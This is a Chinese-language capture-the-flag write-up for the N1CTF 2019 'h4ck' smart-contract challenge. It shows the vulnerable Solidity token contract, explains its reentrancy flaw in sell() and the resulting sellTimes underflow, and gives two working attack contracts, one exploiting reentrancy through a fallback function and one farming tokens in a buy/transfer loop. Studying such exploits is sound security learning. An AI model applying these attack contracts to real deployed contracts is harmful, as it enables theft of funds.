Re-Entrancy(2)

什么是重入攻击

假设有两个合约A和合约B，合约A调用合约B。在这种攻击中，当第一个调用仍在执行时，合约B调用合约A，这在某种程度上导致了一个循环。

每当我们将以太坊发送到智能合约地址时，我们都会调用我们所说的fallback函数。

N1CTF 2019 h4ck

题目合约0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6
攻击合约0x8Ebd3958CeA078271cce190b6be6e2d73c37a1A2
源码

pragma solidity ^0.4.25;

contract owned {
    address public owner;

    constructor () 
        public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) public 
        onlyOwner {
        owner = newOwner;
    }
}

contract challenge is owned{
    
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;
    mapping (address => uint256) public sellTimes;
    mapping (address => mapping (address => uint256)) public allowance;
    mapping (address => bool) public winner;

    event Transfer(address _from, address _to, uint256 _value);
    event Burn(address _from, uint256 _value);
    event Win(address _address,bool _win);


    constructor (
        uint256 initialSupply,
        string tokenName,
        string tokenSymbol
    ) public  {
        totalSupply = initialSupply * 10 ** uint256(decimals);  
        balanceOf[msg.sender] = totalSupply;                
        name = tokenName;                                   
        symbol = tokenSymbol;                               
    }

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != address(0x0));
        require(_value > 0);
        
        uint256 oldFromBalance = balanceOf[_from];
        uint256 oldToBalance = balanceOf[_to];
        
        uint256 newFromBalance =  balanceOf[_from] - _value;
        uint256 newToBalance =  balanceOf[_to] + _value;
        
        require(oldFromBalance >= _value);
        require(newToBalance > oldToBalance);
        
        balanceOf[_from] = newFromBalance;
        balanceOf[_to] = newToBalance;
        
        assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
        emit Transfer(_from, _to, _value);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        _transfer(msg.sender, _to, _value); 
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);    
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }
    
    function burn(uint256 _value) public returns (bool success) {
        require(balanceOf[msg.sender] >= _value);
        balanceOf[msg.sender] -= _value;
        totalSupply -= _value;          
        emit Burn(msg.sender, _value);
        return true;
    }
    
    function balanceOf(address _address) public view returns (uint256 balance) {
        return balanceOf[_address];
    }
    
    function buy() payable public returns (bool success){
        require(balanceOf[msg.sender]==0);
        require(msg.value == 1 wei);
        _transfer(address(this), msg.sender, 1);
        sellTimes[msg.sender] = 1;
        return true;
    }
    
    
    function sell(uint256 _amount) public returns (bool success){
        require(_amount >= 100);
        require(sellTimes[msg.sender] > 0);
        require(balanceOf[msg.sender] >= _amount);
        require(address(this).balance >= _amount);
        msg.sender.call.value(_amount)();
        _transfer(msg.sender, address(this), _amount);
        sellTimes[msg.sender] -= 1;
        return true;
    }
    
    function winnerSubmit() public returns (bool success){
        require(winner[msg.sender] == false);
        require(sellTimes[msg.sender] > 100);
        winner[msg.sender] = true;
        emit Win(msg.sender,true);
        return true;
    }
    
    function kill(address _address) public onlyOwner {
        selfdestruct(_address);
    }
    
    function eth_balance() public view returns (uint256 ethBalance){
        return address(this).balance;
    }
    
}

分析

最终目的是调用到winnerSubmit函数，但它有两个require限制。第一个限制本来就是满足的，主要是第二个限制条件需要达到。

1 2	`require(winner[msg.sender] == false); require(sellTimes[msg.sender] > 100);`

在sell和buy函数中都有对sellTimes增加的操作。
buy函数中存在薅羊毛攻击，同时要求每次调用时传1 wei，然后让sellTimes[msg.sender] = 1。

sell函数中明显存在一个重入攻击，但有四个条件限制。限制了如下操作：

限制了调用函数时参数amount>=100
sellTimes[msg.sender] > 0 可以先调用buy即可
这个限制可以先通过第三方攻击合约薅羊毛攻击然后调用transfer转账给攻击账户即可
题目合约的balance本身就是很大的。

达到条件后最后会进行sellTimes[msg.sender] -= 1;操作，这里很明显存在溢出，溢出之后就能达到winnerSubmit函数的第二个条件了。

require(_amount >= 100);
require(sellTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);

攻击

部署攻击合约,攻击合约需要先调用一次buy1

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";
contract exp {
    
    address instance_address = 0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6;
    challenge target = challenge(instance_address);
    bool status = false;
    uint have_withdraw = 3;
    constructor() payable {
        
    }
    function buy1(){
        target.buy.value(1)();
    }
    function pay() public {
        // withdraw
        if(have_withdraw >= 0 ){
            target.sell(uint(100));
            have_withdraw = have_withdraw -1 ;
        }

    }
    function getflag(){
        target.winnerSubmit();
    }
    
    function() payable {
        target.sell(uint(100));
    }
}

部署薅羊毛合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

import "./source.sol";
contract Hunting {
    address instance_address = 0xB616eBC25E1E9Cfbf6C82Ab66888926bfB0101a6;
    challenge target = challenge(instance_address);

    constructor() payable {
        
    }
    function buy1()  payable{
        target.buy.value(1)();
    }

    function transfer1()   {
        target.transfer(address(0x8Ebd3958CeA078271cce190b6be6e2d73c37a1A2)  , 1);
    }
    function Hunt()    {
        for ( int i = 0; i < 100 ; i++){
            buy1();
            transfer1();
        }
    }
    function get() public view returns (uint256 balance) {
        return address(this).balance;
    }

    function getBalance() public view returns (uint256 balance) {
        return target.balanceOf(address(this));
    }
}